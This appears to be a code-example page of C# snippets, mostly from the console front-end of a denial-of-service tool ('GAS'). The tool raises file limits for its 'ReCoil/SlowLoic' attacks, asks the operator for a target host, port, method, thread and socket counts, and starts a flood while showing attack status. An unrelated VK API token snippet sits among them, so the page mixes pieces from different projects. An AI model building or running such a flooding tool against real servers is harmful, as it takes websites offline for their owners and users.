Esempio n. 1
0
 private static void UnixUlimitPrompt()
 {
     if (Environment.UserName != "root")
     {
         Console.Error.WriteLine(@"You are using Linux/Mac OS and you are not root." +
                                 "If you want to use ReCoil/SlowLoic attack you must" +
                                 " runs \"ulimit -n<ShreadCount>*<SocketCount>*2+5000\"");
     }
     else
     {
         Console.WriteLine(@"Is file open limit unlocked? If attack willnot give any effect runs" +
                           @"""ulimit -n<ShreadCount>*<SocketCount>*2+5000"" as root");
         if (!bool.Parse(ConTools.ReadLine(@"Do you want to runs ""ulimit -n999999""? (true|false)", true)))
         {
             return;
         }
         try { System.Diagnostics.Process.Start("ulimit", "-n999999"); }
         catch { ConTools.WriteError("Failed to runs ulimit"); }
     }
 }
Esempio n. 2
0
        static async Task Main2()
        {
            var vk = new RawApi();

#if !DEBUG
            var str = VKToken.GetOAuthURL(3174839, VKPermission.Offline | VKPermission.Nohttps);
            str.Dump();
            var redirecturl = ConTools.ReadLine("Enter redirect url or Ctrl-C");
            vk.AddToken(VKToken.FromRedirectUrl(redirecturl));
#else
            try{
                foreach (var v in File.ReadAllLines("debug.token"))
                {
                    vk.AddToken(VKToken.FromRedirectUrl(v));
                }
            }
            catch (Exception ex) {
                ex.Message.Dump();
            }
#endif
            CheckVkParser(@"C:\Temp\217053001_217054001.xml", vk.Executor);
        }
Esempio n. 3
0
        public static void Main()
        {
            bool      tmpBoolParse;
            const int cv     = 47;
            var       sharps = new string('#', cv);
            var       dashes = new string('-', cv);

            try { Console.Title = @"[GAS] for urkaine :)"; }
            catch (Exception) { }
            string temp;

            if (Environment.OSVersion.Platform.ToString().ToLower().Contains("unix"))
            {
                UnixUlimitPrompt();
            }
            ConTools.WriteMessage(String.Join(Environment.NewLine, sharps, @"# GAS by http://github.com/kasthack #", sharps));
            while (!GetHost())
            {
            }
            #region GetParam
            if (bool.Parse(
                    ConTools.ReadLine(
                        String.Format(
                            "Subsite is {0}, do you want to change it? (true/false)",
                            Core.Subsite),
                        false)
                    )
                )
            {
                Core.Subsite = ConTools.ReadLine("Enter subsite", "/");
            }
            Core.Port = ConTools.ReadInt("Enter port", 80);
            var mt = typeof(AttackMethod);
            Core.Method = (AttackMethod)Enum.Parse(
                mt,
                ConTools.ReadLine(
                    String.Format(
                        "Select attack type ({0})",
                        String.Join(
                            "|",
                            Enum.GetNames(mt)
                            )
                        ),
                    AttackMethod.ReCoil
                    )
                );
            Core.Threads = ConTools.ReadInt("Enter thread count", Environment.ProcessorCount);
            Core.Spt     = ConTools.ReadInt("Enter sockets per thread", 50);
            Core.Delay   = ConTools.ReadInt("Enter delay", 0);
            Core.Timeout = ConTools.ReadInt("Enter timeout", 30);
            while (!bool.TryParse((temp = _q("USE Get [true]:")) == "" ? "true" : temp, out tmpBoolParse))
            {
                Core.UseGet = tmpBoolParse;
            }
            Core.UseGZIP              = bool.Parse(ConTools.ReadLine("USE GZIP", true));
            Core.WaitForResponse      = bool.Parse(ConTools.ReadLine("Wait For Response", false));
            Core.AppendRandomChars    = bool.Parse(ConTools.ReadLine("Append RANDOM Chars", true));
            Core.AppendRandomCharsUrl = bool.Parse(ConTools.ReadLine("Append RANDOM Chars To Url", true));
            Console.WriteLine(@"Starting attack...");
            Core.Start();
            _d = DateTime.Now;
            Console.Clear();
            var t = new Timer {
                Interval = 500
            };
            t.Elapsed += t_Elapsed;
            t.Start();
            #region Cool UI
            Console.SetCursorPosition(0, 0);
            ConTools.WriteMessage(dashes);
            try {
                Console.SetCursorPosition(0, 6);
            }
            catch { }
            ConTools.WriteMessage(dashes);
            ConTools.WriteMessage(@"Attacking...");
            _e(@"Press Enter stop attack and exit");
            Console.ForegroundColor = ConsoleColor.Green;
            #endregion
            Console.ReadLine();
            ConTools.WriteMessage(dashes + "\r\nExiting, please wait...");
            t.Stop();
            Core.Stop();
            Console.Clear();
            #endregion
        }
Esempio n. 4
0
 static void _e(string e)
 {
     ConTools.WriteError(e);
 }
Esempio n. 5
0
 static string _q(string q)
 {
     return(ConTools.ReadLine(q));
 }